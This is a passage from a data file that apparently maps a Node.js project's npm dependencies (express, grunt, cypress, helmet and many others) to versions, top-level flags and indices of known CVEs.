False}, {'name': 'http-errors', 'version': '1.8.1', 'root': False}, {'name': 'iconv-lite', 'version': '0.4.24', 'root': False}, {'name': 'on-finished', 'version': '2.3.0', 'root': False}, {'name': 'qs', 'version': '6.9.7', 'root': False}, {'name': 'raw-body', 'version': '2.4.3', 'root': False}, {'name': 'type-is', 'version': '1.6.18', 'root': False}, {'name': 'boom', 'version': '2.10.1', 'root': False}, {'name': 'boxen', 'version': '1.3.0', 'root': False}, {'name': 'camelcase', 'version': '4.1.0', 'root': False}, {'name': 'brace-expansion', 'version': '1.1.11', 'root': False}, {'name': 'concat-map', 'version': '0.0.1', 'root': False}, {'name': 'braces', 'version': '2.3.2', 'root': False}, {'name': 'extend-shallow', 'version': '2.0.1', 'root': False}, {'name': 'fill-range', 'version': '4.0.0', 'root': False}, {'name': 'repeat-element', 'version': '1.1.4', 'root': False}, {'name': 'snapdragon', 'version': '0.8.2', 'root': False}, {'name': 'snapdragon-node', 'version': '2.1.1', 'root': False}, {'name': 'split-string', 'version': '3.1.0', 'root': False}, {'name': 'to-regex', 'version': '3.0.2', 'root': False}, {'name': 'is-extendable', 'version': '0.1.1', 'root': False}, {'name': 'broadway', 'version': '0.3.6', 'root': False}, {'name': 'cliff', 'version': '0.1.9', 'root': False}, {'name': 'eventemitter2', 'version': '0.4.14', 'root': False}, {'name': 'nconf', 'version': '0.6.9', 'root': False, 'cves_index': [5]}, {'name': 'utile', 'version': '0.2.1', 'root': False}, {'name': 'winston', 'version': '0.8.0', 'root': False}, {'name': 'async', 'version': '0.2.10', 'root': False}, {'name': 'async', 'version': '0.2.9', 'root': False}, {'name': 'optimist', 'version': '0.6.0', 'root': False}, {'name': 'colors', 'version': '0.6.2', 'root': False}, {'name': 'eyes', 'version': '0.1.8', 'root': False}, {'name': 'ini', 'version': '1.3.8', 'root': False}, {'name': 'minimist', 'version': '0.0.10', 'root': False, 'cves_index': [11, 12]}, {'name': 'wordwrap', 'version': '0.0.3', 'root': False}, {'name': 'deep-equal', 'version': '2.0.5', 'root': False}, {'name': 'i', 'version': '0.3.7', 'root': False}, {'name': 'mkdirp', 'version': '0.5.5', 'root': False}, {'name': 'ncp', 'version': '0.4.2', 'root': False}, {'name': 'rimraf', 'version': '2.7.1', 'root': False}, {'name': 'cycle', 'version': '1.0.3', 'root': False}, {'name': 'pkginfo', 'version': '0.3.1', 'root': False}, {'name': 'stack-trace', 'version': '0.0.10', 'root': False}, {'name': 'bson', 'version': '1.0.9', 'root': False, 'cves_index': [6, 7]}, {'name': 'buffer-crc32', 'version': '0.2.13', 'root': False}, {'name': 'buffer-from', 'version': '1.1.2', 'root': False}, {'name': 'buffer-shims', 'version': '1.0.0', 'root': False}, {'name': 'collection-visit', 'version': '1.0.0', 'root': False}, {'name': 'get-value', 'version': '2.0.6', 'root': False}, {'name': 'has-value', 'version': '1.0.0', 'root': False}, {'name': 'set-value', 'version': '2.0.1', 'root': False}, {'name': 'to-object-path', 'version': '0.3.0', 'root': False}, {'name': 'union-value', 'version': '1.0.1', 'root': False}, {'name': 'unset-value', 'version': '1.0.0', 'root': False, 'cves_index': [9]}, {'name': 'cachedir', 'version': '1.3.0', 'root': False}, {'name': 'call-bind', 'version': '1.0.2', 'root': False}, {'name': 'function-bind', 'version': '1.1.1', 'root': False}, {'name': 'get-intrinsic', 'version': '1.1.1', 'root': False}, {'name': 'caller', 'version': '0.0.1', 'root': False}, {'name': 'tape', 'version': '2.3.3', 'root': False}, {'name': 'camelcase', 'version': '2.1.1', 'root': False}, {'name': 'camelcase-keys', 'version': '2.1.0', 'root': False}, {'name': 'camelize', 'version': '1.0.0', 'root': False}, {'name': 'capture-stack-trace', 'version': '1.0.1', 'root': False}, {'name': 'caseless', 'version': '0.12.0', 'root': False}, {'name': 'chalk', 'version': '2.4.2', 'root': False}, {'name': 'ansi-styles', 'version': '3.2.1', 'root': False}, {'name': 'check-more-types', 'version': '2.24.0', 'root': False}, {'name': 'chokidar', 'version': '2.1.8', 'root': False}, {'name': 'fsevents', 'version': '1.2.13', 'root': False}, {'name': 'glob-parent', 'version': '3.1.0', 'root': False, 'cves_index': [10]}, {'name': 'inherits', 'version': '2.0.4', 'root': False}, {'name': 'is-binary-path', 'version': '1.0.1', 'root': False}, {'name': 'is-glob', 'version': '4.0.3', 'root': False}, {'name': 'normalize-path', 'version': '3.0.0', 'root': False}, {'name': 'path-is-absolute', 'version': '1.0.1', 'root': False}, {'name': 'readdirp', 'version': '2.2.1', 'root': False}, {'name': 'upath', 'version': '1.2.0', 'root': False}, {'name': 'ci-info', 'version': '1.6.0', 'root': False}, {'name': 'define-property', 'version': '0.2.5', 'root': False}, {'name': 'static-extend', 'version': '0.1.2', 'root': False}, {'name': 'is-descriptor', 'version': '0.1.6', 'root': False}, {'name': 'clean-yaml-object', 'version': '0.1.0', 'root': False}, {'name': 'cli', 'version': '1.0.1', 'root': False}, {'name': 'cli-boxes', 'version': '1.0.0', 'root': False}, {'name': 'cli-cursor', 'version': '1.0.2', 'root': False}, {'name': 'cli-spinners', 'version': '0.1.2', 'root': False}, {'name': 'cli-truncate', 'version': '0.2.1', 'root': False}, {'name': 'cliff', 'version': '0.1.10', 'root': False}, {'name': 'colors', 'version': '1.0.3', 'root': False}, {'name': 'winston', 'version': '0.8.3', 'root': False}, {'name': 'cliui', 'version': '3.2.0', 'root': False}, {'name': 'string-width', 'version': '1.0.2', 'root': False}, {'name': 'strip-ansi', 'version': '3.0.1', 'root': False}, {'name': 'wrap-ansi', 'version': '2.1.0', 'root': False}, {'name': 'clone', 'version': '2.1.2', 'root': False}, {'name': 'code-point-at', 'version': '1.1.0', 'root': False}, {'name': 'map-visit', 'version': '1.0.0', 'root': False}, {'name': 'object-visit', 'version': '1.0.1', 'root': False}, {'name': 'color-convert', 'version': '1.9.3', 'root': False}, {'name': 'color-name', 'version': '1.1.3', 'root': False}, {'name': 'color-support', 'version': '1.1.3', 'root': False}, {'name': 'combined-stream', 'version': '1.0.8', 'root': False}, {'name': 'commander', 'version': '2.15.1', 'root': False}, {'name': 'common-tags', 'version': '1.8.0', 'root': False}, {'name': 'concat-stream', 'version': '1.6.2', 'root': False}, {'name': 'config-chain', 'version': '1.1.13', 'root': False}, {'name': 'configstore', 'version': '3.1.5', 'root': False}, {'name': 'connect', 'version': '3.4.1', 'root': False}, {'name': 'debug', 'version': '2.2.0', 'root': False, 'cves_index': [8]}, {'name': 'finalhandler', 'version': '0.4.1', 'root': False}, {'name': 'parseurl', 'version': '1.3.3', 'root': False}, {'name': 'utils-merge', 'version': '1.0.0', 'root': False}, {'name': 'ms', 'version': '0.7.1', 'root': False}, {'name': 'escape-html', 'version': '1.0.3', 'root': False}, {'name': 'unpipe', 'version': '1.0.0', 'root': False}, {'name': 'console-browserify', 'version': '1.1.0', 'root': False}, {'name': 'consolidate', 'version': '0.14.5', 'root': True}, {'name': 'content-disposition', 'version': '0.5.4', 'root': False}, {'name': 'safe-buffer', 'version': '5.2.1', 'root': False}, {'name': 'content-security-policy-builder', 'version': '1.0.0', 'root': False}, {'name': 'dashify', 'version': '0.2.2', 'root': False}, {'name': 'continuable-cache', 'version': '0.3.1', 'root': False}, {'name': 'cookie', 'version': '0.4.0', 'root': False}, {'name': 'cookie-signature', 'version': '1.0.6', 'root': False}, {'name': 'copy-descriptor', 'version': '0.1.1', 'root': False}, {'name': 'core-util-is', 'version': '1.0.3', 'root': False}, {'name': 'coveralls', 'version': '2.13.3', 'root': False}, {'name': 'assert-plus', 'version': '0.2.0', 'root': False}, {'name': 'aws-sign2', 'version': '0.6.0', 'root': False}, {'name': 'caseless', 'version': '0.11.0', 'root': False}, {'name': 'esprima', 'version': '2.7.3', 'root': False}, {'name': 'form-data', 'version': '2.1.4', 'root': False}, {'name': 'har-validator', 'version': '2.0.6', 'root': False}, {'name': 'http-signature', 'version': '1.1.1', 'root': False}, {'name': 'js-yaml', 'version': '3.6.1', 'root': False, 'cves_index': [16, 15]}, {'name': 'minimist', 'version': '1.2.0', 'root': False, 'cves_index': [22, 23]}, {'name': 'oauth-sign', 'version': '0.8.2', 'root': False}, {'name': 'punycode', 'version': '1.4.1', 'root': False}, {'name': 'qs', 'version': '6.3.3', 'root': False}, {'name': 'request', 'version': '2.79.0', 'root': False}, {'name': 'tough-cookie', 'version': '2.3.4', 'root': False}, {'name': 'tunnel-agent', 'version': '0.4.3', 'root': False, 'cves_index': [18]}, {'name': 'create-error-class', 'version': '3.0.2', 'root': False}, {'name': 'cross-env', 'version': '7.0.3', 'root': True}, {'name': 'cross-spawn', 'version': '7.0.3', 'root': False}, {'name': 'cryptiles', 'version': '2.0.5', 'root': False, 'cves_index': [14]}, {'name': 'crypto-random-string', 'version': '1.0.0', 'root': False}, {'name': 'csrf', 'version': '3.1.0', 'root': False}, {'name': 'rndm', 'version': '1.2.0', 'root': False}, {'name': 'tsscmp', 'version': '1.0.6', 'root': False}, {'name': 'uid-safe', 'version': '2.1.5', 'root': False}, {'name': 'csurf', 'version': '1.11.0', 'root': True}, {'name': 'http-errors', 'version': '1.7.3', 'root': False}, {'name': 'setprototypeof', 'version': '1.1.1', 'root': False}, {'name': 'toidentifier', 'version': '1.0.0', 'root': False}, {'name': 'statuses', 'version': '1.5.0', 'root': False}, {'name': 'ctype', 'version': '0.5.3', 'root': False}, {'name': 'currently-unhandled', 'version': '0.4.1', 'root': False}, {'name': 'cypress', 'version': '3.8.3', 'root': True, 'cves_index': [17]}, {'name': 'bluebird', 'version': '3.5.0', 'root': False}, {'name': 'debug', 'version': '3.2.6', 'root': False}, {'name': 'eventemitter2', 'version': '4.1.2', 'root': False}, {'name': 'lodash', 'version': '4.17.15', 'root': False, 'cves_index': [19, 20, 21]}, {'name': 'dashdash', 'version': '1.14.1', 'root': False}, {'name': 'date-fns', 'version': '1.30.1', 'root': False}, {'name': 'date-now', 'version': '0.1.4', 'root': False}, {'name': 'dateformat', 'version': '3.0.3', 'root': False}, {'name': 'ms', 'version': '2.0.0', 'root': False}, {'name': 'debuglog', 'version': '1.0.1', 'root': False}, {'name': 'decamelize', 'version': '1.2.0', 'root': False}, {'name': 'decode-uri-component', 'version': '0.2.0', 'root': False, 'cves_index': [13]}, {'name': 'es-get-iterator', 'version': '1.1.2', 'root': False}, {'name': 'is-arguments', 'version': '1.1.1', 'root': False}, {'name': 'is-date-object', 'version': '1.0.5', 'root': False}, {'name': 'is-regex', 'version': '1.1.4', 'root': False}, {'name': 'isarray', 'version': '2.0.5', 'root': False}, {'name': 'object-is', 'version': '1.1.5', 'root': False}, {'name': 'object-keys', 'version': '1.1.1', 'root': False}, {'name': 'object.assign', 'version': '4.1.2', 'root': False}, {'name': 'regexp.prototype.flags', 'version': '1.4.1', 'root': False}, {'name': 'side-channel', 'version': '1.0.4', 'root': False}, {'name': 'which-boxed-primitive', 'version': '1.0.2', 'root': False}, {'name': 'which-collection', 'version': '1.0.1', 'root': False}, {'name': 'which-typed-array', 'version': '1.1.7', 'root': False}, {'name': 'deep-extend', 'version': '0.6.0', 'root': False}, {'name': 'deeper', 'version': '2.1.0', 'root': False}, {'name': 'define-properties', 'version': '1.1.3', 'root': False}, {'name': 'define-property', 'version': '2.0.2', 'root': False}, {'name': 'defined', 'version': '0.0.0', 'root': False}, {'name': 'delayed-stream', 'version': '1.0.0', 'root': False}, {'name': 'destroy', 'version': '1.0.4', 'root': False}, {'name': 'detect-file', 'version': '1.0.0', 'root': False}, {'name': 'dezalgo', 'version': '1.0.3', 'root': False}, {'name': 'diff', 'version': '1.4.0', 'root': False, 'cves_index': [24]}, {'name': 'director', 'version': '1.2.7', 'root': False}, {'name': 'dns-prefetch-control', 'version': '0.1.0', 'root': False}, {'name': 'dom-serializer', 'version': '0.2.2', 'root': False}, {'name': 'domelementtype', 'version': '2.2.0', 'root': False}, {'name': 'entities', 'version': '2.2.0', 'root': False}, {'name': 'domelementtype', 'version': '1.3.1', 'root': False}, {'name': 'domhandler', 'version': '2.3.0', 'root': False}, {'name': 'domutils', 'version': '1.5.1', 'root': False}, {'name': 'dont-sniff-mimetype', 'version': '1.1.0', 'root': True}, {'name': 'dot-prop', 'version': '4.2.1', 'root': False}, {'name': 'duplexer3', 'version': '0.1.4', 'root': False}, {'name': 'duplexify', 'version': '3.7.1', 'root': False}, {'name': 'ecc-jsbn', 'version': '0.1.2', 'root': False}, {'name': 'editorconfig', 'version': '0.15.3', 'root': False}, {'name': 'commander', 'version': '2.20.3', 'root': False}, {'name': 'ee-first', 'version': '1.1.1', 'root': False}, {'name': 'elegant-spinner', 'version': '1.0.1', 'root': False}, {'name': 'encodeurl', 'version': '1.0.2', 'root': False}, {'name': 'end-of-stream', 'version': '1.4.4', 'root': False}, {'name': 'entities', 'version': '1.0.0', 'root': False}, {'name': 'error', 'version': '7.2.1', 'root': False}, {'name': 'error-ex', 'version': '1.3.2', 'root': False}, {'name': 'es-abstract', 'version': '1.19.1', 'root': False}, {'name': 'es-to-primitive', 'version': '1.2.1', 'root': False}, {'name': 'get-symbol-description', 'version': '1.0.0', 'root': False}, {'name': 'has', 'version': '1.0.3', 'root': False}, {'name': 'has-symbols', 'version': '1.0.2', 'root': False}, {'name': 'internal-slot', 'version': '1.0.3', 'root': False}, {'name': 'is-callable', 'version': '1.2.4', 'root': False}, {'name': 'is-negative-zero', 'version': '2.0.2', 'root': False}, {'name': 'is-shared-array-buffer', 'version': '1.0.1', 'root': False}, {'name': 'is-string', 'version': '1.0.7', 'root': False}, {'name': 'is-weakref', 'version': '1.0.2', 'root': False}, {'name': 'object-inspect', 'version': '1.12.0', 'root': False}, {'name': 'string.prototype.trimend', 'version': '1.0.4', 'root': False}, {'name': 'string.prototype.trimstart', 'version': '1.0.4', 'root': False}, {'name': 'unbox-primitive', 'version': '1.0.1', 'root': False}, {'name': 'is-map', 'version': '2.0.2', 'root': False}, {'name': 'is-set', 'version': '2.0.2', 'root': False}, {'name': 'is-symbol', 'version': '1.0.4', 'root': False}, {'name': 'es6-promise', 'version': '3.2.1', 'root': False}, {'name': 'escape-string-regexp', 'version': '1.0.5', 'root': False}, {'name': 'esprima', 'version': '4.0.1', 'root': False}, {'name': 'etag', 'version': '1.8.1', 'root': False}, {'name': 'event-stream', 'version': '0.5.3', 'root': False}, {'name': 'optimist', 'version': '0.2.8', 'root': False}, {'name': 'events-to-array', 'version': '1.1.2', 'root': False}, {'name': 'execa', 'version': '0.10.0', 'root': False}, {'name': 'cross-spawn', 'version': '6.0.5', 'root': False}, {'name': 'path-key', 'version': '2.0.1', 'root': False}, {'name': 'shebang-command', 'version': '1.2.0', 'root': False}, {'name': 'shebang-regex', 'version': '1.0.0', 'root': False}, {'name': 'which', 'version': '1.3.1', 'root': False}, {'name': 'executable', 'version': '4.1.1', 'root': False}, {'name': 'exit', 'version': '0.1.2', 'root': False}, {'name': 'exit-hook', 'version': '1.1.1', 'root': False}, {'name': 'expand-brackets', 'version': '2.1.4', 'root': False}, {'name': 'posix-character-classes', 'version': '0.1.1', 'root': False}, {'name': 'regex-not', 'version': '1.0.2', 'root': False}, {'name': 'expand-tilde', 'version': '2.0.2', 'root': False}, {'name': 'express', 'version': '4.17.3', 'root': True}, {'name': 'cookie', 'version': '0.4.2', 'root': False}, {'name': 'finalhandler', 'version': '1.1.2', 'root': False}, {'name': 'fresh', 'version': '0.5.2', 'root': False}, {'name': 'merge-descriptors', 'version': '1.0.1', 'root': False}, {'name': 'methods', 'version': '1.1.2', 'root': False}, {'name': 'path-to-regexp', 'version': '0.1.7', 'root': False}, {'name': 'proxy-addr', 'version': '2.0.7', 'root': False}, {'name': 'range-parser', 'version': '1.2.1', 'root': False}, {'name': 'send', 'version': '0.17.2', 'root': False}, {'name': 'serve-static', 'version': '1.14.2', 'root': False}, {'name': 'setprototypeof', 'version': '1.2.0', 'root': False}, {'name': 'utils-merge', 'version': '1.0.1', 'root': False}, {'name': 'vary', 'version': '1.1.2', 'root': False}, {'name': 'express-session', 'version': '1.17.2', 'root': True}, {'name': 'cookie', 'version': '0.4.1', 'root': False}, {'name': 'depd', 'version': '2.0.0', 'root': False}, {'name': 'on-headers', 'version': '1.0.2', 'root': False}, {'name': 'extend', 'version': '3.0.2', 'root': False}, {'name': 'extend-shallow', 'version': '3.0.2', 'root': False}, {'name': 'is-extendable', 'version': '1.0.1', 'root': False}, {'name': 'is-plain-object', 'version': '2.0.4', 'root': False}, {'name': 'extglob', 'version': '2.0.4', 'root': False}, {'name': 'fragment-cache', 'version': '0.2.1', 'root': False}, {'name': 'extract-zip', 'version': '1.6.7', 'root': False}, {'name': 'minimist', 'version': '0.0.8', 'root': False, 'cves_index': [26, 27]}, {'name': 'mkdirp', 'version': '0.5.1', 'root': False}, {'name': 'yauzl', 'version': '2.4.1', 'root': False}, {'name': 'extsprintf', 'version': '1.3.0', 'root': False}, {'name': 'fast-deep-equal', 'version': '3.1.3', 'root': False}, {'name': 'fast-json-stable-stringify', 'version': '2.1.0', 'root': False}, {'name': 'faye-websocket', 'version': '0.10.0', 'root': False}, {'name': 'fd-slicer', 'version': '1.0.1', 'root': False}, {'name': 'figures', 'version': '1.7.0', 'root': False}, {'name': 'is-number', 'version': '3.0.0', 'root': False}, {'name': 'repeat-string', 'version': '1.6.1', 'root': False}, {'name': 'to-regex-range', 'version': '2.1.1', 'root': False}, {'name': 'find-up', 'version': '1.1.2', 'root': False}, {'name': 'findup-sync', 'version': '0.3.0', 'root': False}, {'name': 'glob', 'version': '5.0.15', 'root': False}, {'name': 'fined', 'version': '1.2.0', 'root': False}, {'name': 'flagged-respawn', 'version': '1.0.1', 'root': False}, {'name': 'flatiron', 'version': '0.4.3', 'root': False}, {'name': 'prompt', 'version': '0.2.14', 'root': False}, {'name': 'for-in', 'version': '1.0.2', 'root': False}, {'name': 'for-own', 'version': '1.0.0', 'root': False}, {'name': 'foreach', 'version': '2.0.5', 'root': False}, {'name': 'foreground-child', 'version': '1.5.6', 'root': False}, {'name': 'cross-spawn', 'version': '4.0.2', 'root': False}, {'name': 'forever', 'version': '2.0.0', 'root': True, 'vulnerable_dependencies': [387, 133, 104, 591, 113, 150, 251]}, {'name': 'async', 'version': '1.5.2', 'root': False}, {'name': 'forever-monitor', 'version': '2.0.0', 'root': False}, {'name': 'nconf', 'version': '0.10.0', 'root': False, 'cves_index': [25]}, {'name': 'nssocket', 'version': '0.6.0', 'root': False}, {'name': 'object-assign', 'version': '4.1.1', 'root': False}, {'name': 'optimist', 'version': '0.6.1', 'root': False}, {'name': 'path-is-absolute', 'version': '2.0.0', 'root': False}, {'name': 'prettyjson', 'version': '1.2.5', 'root': False}, {'name': 'shush', 'version': '1.0.0', 'root': False}, {'name': 'utile', 'version': '0.3.0', 'root': False}, {'name': 'forever-agent', 'version': '0.6.1', 'root': False}, {'name': 'minimatch', 'version': '3.1.2', 'root': False}, {'name': 'ps-tree', 'version': '0.0.3', 'root': False}, {'name': 'form-data', 'version': '2.3.3', 'root': False}, {'name': 'forwarded', 'version': '0.2.0', 'root': False}, {'name': 'map-cache', 'version': '0.2.2', 'root': False}, {'name': 'frameguard', 'version': '2.0.0', 'root': False}, {'name': 'fs-extra', 'version': '5.0.0', 'root': False}, {'name': 'fs.realpath', 'version': '1.0.0', 'root': False}, {'name': 'nan', 'version': '2.15.0', 'root': False}, {'name': 'gaze', 'version': '1.1.3', 'root': False}, {'name': 'generate-function', 'version': '2.3.1', 'root': False}, {'name': 'generate-object-property', 'version': '1.2.0', 'root': False}, {'name': 'get-stdin', 'version': '4.0.1', 'root': False}, {'name': 'get-stream', 'version': '3.0.0', 'root': False}, {'name': 'getobject', 'version': '1.0.2', 'root': False}, {'name': 'getos', 'version': '3.1.1', 'root': False}, {'name': 'async', 'version': '2.6.1', 'root': False, 'cves_index': [37]}, {'name': 'getpass', 'version': '0.1.7', 'root': False}, {'name': 'glob', 'version': '7.2.0', 'root': False}, {'name': 'inflight', 'version': '1.0.6', 'root': False}, {'name': 'once', 'version': '1.4.0', 'root': False}, {'name': 'is-glob', 'version': '3.1.0', 'root': False}, {'name': 'path-dirname', 'version': '1.0.2', 'root': False}, {'name': 'is-extglob', 'version': '2.1.1', 'root': False}, {'name': 'global-dirs', 'version': '0.1.1', 'root': False}, {'name': 'global-modules', 'version': '1.0.0', 'root': False}, {'name': 'global-prefix', 'version': '1.0.2', 'root': False}, {'name': 'globule', 'version': '1.3.3', 'root': False}, {'name': 'glob', 'version': '7.1.7', 'root': False}, {'name': 'minimatch', 'version': '3.0.8', 'root': False}, {'name': 'got', 'version': '6.7.1', 'root': False, 'cves_index': [39]}, {'name': 'graceful-fs', 'version': '4.2.9', 'root': False}, {'name': 'growl', 'version': '1.9.2', 'root': False, 'cves_index': [42]}, {'name': 'grunt', 'version': '1.4.1', 'root': True, 'cves_index': [32, 33]}, {'name': 'mkdirp', 'version': '1.0.4', 'root': False}, {'name': 'rimraf', 'version': '3.0.2', 'root': False}, {'name': 'grunt-cli', 'version': '1.4.3', 'root': True}, {'name': 'nopt', 'version': '4.0.3', 'root': False}, {'name': 'grunt-concurrent', 'version': '2.3.1', 'root': True}, {'name': 'grunt-contrib-clean', 'version': '1.1.0', 'root': False}, {'name': 'grunt-contrib-jshint', 'version': '1.1.0', 'root': True}, {'name': 'grunt-contrib-nodeunit', 'version': '1.0.0', 'root': False}, {'name': 'grunt-contrib-watch', 'version': '1.1.0', 'root': True}, {'name': 'grunt-env', 'version': '1.0.1', 'root': True}, {'name': 'grunt-if', 'version': 'https://github.com/binarymist/grunt-if/tarball/master', 'root': True}, {'name': 'grunt-jsbeautifier', 'version': '0.2.13', 'root': True}, {'name': 'grunt-known-options', 'version': '2.0.0', 'root': False}, {'name': 'grunt-legacy-log', 'version': '3.0.0', 'root': False}, {'name': 'colors', 'version': '1.1.2', 'root': False}, {'name': 'grunt-legacy-log-utils', 'version': '2.1.0', 'root': False}, {'name': 'ansi-styles', 'version': '4.3.0', 'root': False}, {'name': 'chalk', 'version': '4.1.2', 'root': False}, {'name': 'color-convert', 'version': '2.0.1', 'root': False}, {'name': 'color-name', 'version': '1.1.4', 'root': False}, {'name': 'has-flag', 'version': '4.0.0', 'root': False}, {'name': 'supports-color', 'version': '7.2.0', 'root': False}, {'name': 'grunt-legacy-util', 'version': '2.0.1', 'root': False}, {'name': 'async', 'version': '3.2.3', 'root': False}, {'name': 'grunt-mocha-test', 'version': '0.12.7', 'root': True}, {'name': 'grunt-npm-install', 'version': '0.3.1', 'root': True}, {'name': 'grunt-retire', 'version': '0.3.12', 'root': True}, {'name': 'form-data', 'version': '1.0.1', 'root': False}, {'name': 'node-uuid', 'version': '1.4.8', 'root': False}, {'name': 'qs', 'version': '5.2.1', 'root': False, 'cves_index': [29, 30, 31]}, {'name': 'request', 'version': '2.67.0', 'root': False, 'cves_index': [28]}, {'name': 'tough-cookie', 'version': '2.2.2', 'root': False, 'cves_index': [40, 41]}, {'name': 'har-schema', 'version': '2.0.0', 'root': False}, {'name': 'har-validator', 'version': '5.1.5', 'root': False}, {'name': 'has-ansi', 'version': '2.0.0', 'root': False}, {'name': 'has-bigints', 'version': '1.0.1', 'root': False}, {'name': 'has-flag', 'version': '3.0.0', 'root': False}, {'name': 'has-tostringtag', 'version': '1.0.0', 'root': False}, {'name': 'has-values', 'version': '1.0.0', 'root': False}, {'name': 'kind-of', 'version': '4.0.0', 'root': False}, {'name': 'is-buffer', 'version': '1.1.6', 'root': False}, {'name': 'hawk', 'version': '3.1.3', 'root': False, 'cves_index': [38]}, {'name': 'helmet', 'version': '2.3.0', 'root': True, 'vulnerable_dependencies': [474, 189], 'cves_index': [145, 142]}, {'name': 'dont-sniff-mimetype', 'version': '1.0.0', 'root': False}, {'name': 'helmet-csp', 'version': '1.2.2', 'root': False, 'cves_index': [36]}, {'name': 'hide-powered-by', 'version': '1.0.0', 'root': False}, {'name': 'hpkp', 'version': '1.2.0', 'root': False}, {'name': 'hsts', 'version': '1.0.0', 'root': False}, {'name': 'ienoopen', 'version': '1.0.0', 'root': False}, {'name': 'nocache', 'version': '1.0.1', 'root': False}, {'name': 'referrer-policy', 'version': '1.0.0', 'root': False}, {'name': 'x-xss-protection', 'version': '1.0.0', 'root': False}, {'name': 'lodash.reduce', 'version': '4.5.0', 'root': False}, {'name': 'platform', 'version': '1.3.1', 'root': False}, {'name': 'hoek', 'version': '2.16.3', 'root': False, 'cves_index': [34, 35]}, {'name': 'homedir-polyfill', 'version': '1.0.3', 'root': False}, {'name': 'hooker', 'version': '0.2.3', 'root': False}, {'name': 'hosted-git-info', 'version': '2.8.9', 'root': False}, {'name': 'core-util-is', 'version': '1.0.2', 'root': False}, {'name': 'htmlparser2', 'version': '3.8.3', 'root': False}, {'name': 'isarray', 'version': '0.0.1', 'root': False}, {'name': 'readable-stream', 'version': '1.1.14', 'root': False}, {'name': 'toidentifier', 'version': '1.0.1', 'root': False}, {'name': 'http-parser-js', 'version': '0.5.5', 'root': False}, {'name': 'http-signature', 'version': '1.2.0', 'root': False}, {'name': 'safer-buffer', 'version': '2.1.2', 'root': False}, {'name': 'ignore-by-default', 'version': '1.0.1', 'root': False}, {'name': 'import-lazy', 'version': '2.1.0', 'root': False}, {'name': 'imurmurhash', 'version': '0.1.4', 'root': False}, {'name': 'indent-string', 'version': '2.1.0', 'root': False}, {'name': 'wrappy', 'version': '1.0.2', 'root': False}, {'name': 'interpret', 'version': '1.1.0', 'root': False}, {'name': 'invert-kv', 'version': '1.0.0', 'root': False}, {'name': 'ipaddr.js', 'version': '1.9.1', 'root': False}, {'name': 'is-absolute', 'version': '1.0.0', 'root': False}, {'name': 'is-accessor-descriptor', 'version': '0.1.6', 'root': False}, {'name': 'kind-of', 'version': '3.2.2', 'root': False}, {'name': 'is-arrayish', 'version': '0.2.1', 'root': False}, {'name': 'is-bigint', 'version': '1.0.4', 'root': False}, {'name': 'is-boolean-object', 'version': '1.1.2', 'root': False}, {'name': 'is-ci', 'version': '1.2.1', 'root': False}, {'name': 'is-core-module', 'version': '2.8.1', 'root': False}, {'name': 'is-data-descriptor', 'version': '0.1.4', 'root': False}, {'name': 'kind-of', 'version': '5.1.0', 'root': False}, {'name': 'is-finite', 'version': '1.1.0', 'root': False}, {'name': 'is-fullwidth-code-point', 'version': '1.0.0', 'root': False}, {'name': 'number-is-nan', 'version': '1.0.1', 'root': False}, {'name': 'is-installed-globally', 'version': '0.1.0', 'root': False}, {'name': 'is-my-ip-valid', 'version': '1.0.0', 'root': False}, {'name': 'is-my-json-valid', 'version': '2.20.6', 'root': False}, {'name': 'is-npm', 'version': '1.0.0', 'root': False}, {'name': 'is-number-object', 'version': '1.0.6', 'root': False}, {'name': 'is-obj', 'version': '1.0.1', 'root': False}, {'name': 'is-path-inside', 'version': '1.0.1', 'root': False}, {'name': 'is-promise', 'version': '2.2.2', 'root': False}, {'name': 'is-property', 'version': '1.0.2', 'root': False}, {'name': 'is-redirect', 'version': '1.0.0', 'root': False}, {'name': 'is-relative', 'version': '1.0.0', 'root': False}, {'name': 'is-retry-allowed', 'version': '1.2.0', 'root': False}, {'name': 'is-stream', 'version': '1.1.0', 'root': False}, {'name': 'is-typed-array', 'version': '1.1.8', 'root': False}, {'name': 'is-typedarray', 'version': '1.0.0', 'root': False}, {'name': 'is-unc-path', 'version': '1.0.0', 'root': False}, {'name': 'is-utf8', 'version': '0.2.1', 'root': False}, {'name': 'is-weakmap', 'version': '2.0.1', 'root': False}, {'name': 'is-weakset', 'version': '2.0.2', 'root': False}, {'name': 'is-windows', 'version': '1.0.2', 'root': False}, {'name': 'isexe', 'version': '2.0.0', 'root': False}, {'name': 'isstream', 'version': '0.1.2', 'root': False}, {'name': 'jade', 'version': '0.26.3', 'root': False}, {'name': 'commander', 'version': '0.6.1', 'root': False}, {'name': 'mkdirp', 'version': '0.3.0', 'root': False}, {'name': 'js-beautify', 'version': '1.14.0', 'root': False}, {'name': 'nopt', 'version': '5.0.0', 'root': False}, {'name': 'js-yaml', 'version': '3.14.1', 'root': False}, {'name': 'jsbn', 'version': '0.1.1', 'root': False}, {'name': 'jshint', 'version': '2.9.7', 'root': False}, {'name': 'strip-json-comments', 'version': '1.0.4', 'root': False}, {'name': 'json-parse-even-better-errors', 'version': '2.3.1', 'root': False}, {'name': 'json-schema', 'version': '0.4.0', 'root': False}, {'name': 'json-schema-traverse', 'version': '0.4.1', 'root': False}, {'name': 'json-stringify-safe', 'version': '5.0.1', 'root': False}, {'name': 'jsonfile', 'version': '4.0.0', 'root': False}, {'name': 'jsonify', 'version': '0.0.0', 'root': False}, {'name': 'jsonpointer', 'version': '5.0.0', 'root': False}, {'name': 'jsprim', 'version': '1.4.2', 'root': False}, {'name': 'latest-version', 'version': '3.1.0', 'root': False}, {'name': 'lazy', 'version': '1.0.11', 'root': False}, {'name': 'lazy-ass', 'version': '1.6.0', 'root': False}, {'name': 'lcid', 'version': '1.0.0', 'root': False}, {'name': 'lcov-parse', 'version': '0.0.10', 'root': False}, {'name': 'liftup', 'version': '3.0.1', 'root': False}, {'name': 'braces', 'version': '3.0.2', 'root': False}, {'name': 'fill-range', 'version': '7.0.1', 'root': False}, {'name': 'findup-sync', 'version': '4.0.0', 'root': False}, {'name': 'is-number', 'version': '7.0.0', 'root': False}, {'name': 'micromatch', 'version': '4.0.4', 'root': False}, {'name': 'to-regex-range', 'version': '5.0.1', 'root': False}, {'name': 'listr', 'version': '0.12.0', 'root': False}, {'name': 'log-symbols', 'version': '1.0.2', 'root': False}, {'name': 'listr-silent-renderer', 'version': '1.1.1', 'root': False}, {'name': 'listr-update-renderer', 'version': '0.2.0', 'root': False}, {'name': 'indent-string', 'version': '3.2.0', 'root': False}, {'name': 'listr-verbose-renderer', 'version': '0.4.1', 'root': False}, {'name': 'livereload-js', 